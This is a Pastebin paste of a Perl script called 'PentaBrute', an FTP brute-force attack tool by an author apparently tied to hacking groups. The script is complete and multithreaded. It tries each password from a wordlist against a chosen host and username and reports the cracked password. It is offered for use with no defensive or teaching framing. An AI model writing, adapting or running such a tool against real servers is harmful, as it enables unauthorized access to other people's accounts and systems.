Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #megafab.net
- #pentagoncrew.org
- //////////////////////////////////////////////////////////////////////////////////////////////////////
- #########################################################################################
- # PERL Tool.
- # PentaBrute - FTP BRUTE ATTACK TOOL .
- # Author : M3GAFAB .
- # Greetz to : PentaSec - KHS - AnonGhost - THA - Albanian & Muslim's hacker's !
- ##########################################################################################
- #!/usr/bin/env perl
- use strict;
- use warnings;
- use threads;
- use Net::FTP;
- use Getopt::Long;
- use threads::shared;
- use Term::ANSIColor qw(:constants);
- sub banner {
- print '
- '.GREEN.'[+]'.RESET.' FTP Brute Force by M 3 G A F A B
- '.GREEN.'[+]'.RESET.' PentaSeC - KHS - AnonGhost
- '.BOLD BLUE.'[*]'.RESET.' U S A G E:
- -u | --user => Here comes the username [example: admin]
- -h | --host => Put the host here [example: 127.0.0.1]
- -w | --wordlist => Put the wordlist here [example: wordlist.txt]
- -t | --threads => Number of threads [example: 10]
- '.BOLD BLUE.'[*]'.RESET.' Example how to use:
- perl pentaBrute.pl -u admin -h 127.0.01 -w my-wordlist.txt -t 10
- ';
- exit(1);
- }
- my($wordlist,$thr,$ini,$fin,@threads,$arq,$i,@a);
- our($user,$host,@aa);
- GetOptions( 'u|user=s' => \$user,
- 'h|host=s' => \$host,
- 'w|wordlist=s' => \$wordlist,
- 't|threads=i' => \$thr
- ) || die &banner;
- &banner if (not defined($user)) || (not defined($host)) || (not defined($wordlist)) || (not defined($thr));
- open($arq,"<$wordlist") || die($!);
- @a = <$arq>;
- close($arq);
- @aa = grep { !/^$/ } @a;
- print "\n".GREEN.'[+]'.RESET." Starting Attack";
- print "\n".GREEN.'[+]'.RESET." Host => $host";
- print "\n".GREEN.'[+]'.RESET." User => $user";
- print "\n".GREEN.'[+]'.RESET." Wordlist => $wordlist";
- print "\n".GREEN.'[+]'.RESET." Threads => $thr\n\n";
- my $stop :shared = 0;
- $ini = 0;
- $fin = $thr - 1;
- while(1){
- exit if $stop;
- @threads = ();
- for($i=$ini;$i<=$fin;$i++){
- push(@threads,$i);
- }
- foreach(@threads){
- $_ = threads->create(\&ftp);
- }
- foreach(@threads){
- $_->join();
- }
- $ini = $fin + 1;
- $fin = $fin + $thr;
- }
- sub ftp {
- my $id = threads->tid();
- threads->exit() if $stop;
- $id--;
- if(defined($aa[$id])){
- chomp($aa[$id]);
- print BOLD BLUE .'[*]'. RESET ." Testing=> $aa[$id]\n";
- my $f = Net::FTP->new($host) || die($!);
- if($f->login($user, $aa[$id])){
- $f->quit;
- print "\n\n\t".GREEN.'[+]'.RESET." PassWorD CracKeD : $aa[$id]\n\n\n";
- $stop = 1;
- } else {
- $f->quit;
- }
- } else {
- $stop = 1;
- }
- }
- ####################################################################################################
- cyberz0ne.net
- twitter.com/M3GAFAB ( Follow )
- facebook.com/m3gafabb ( Like )
- ./enD
- ####################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement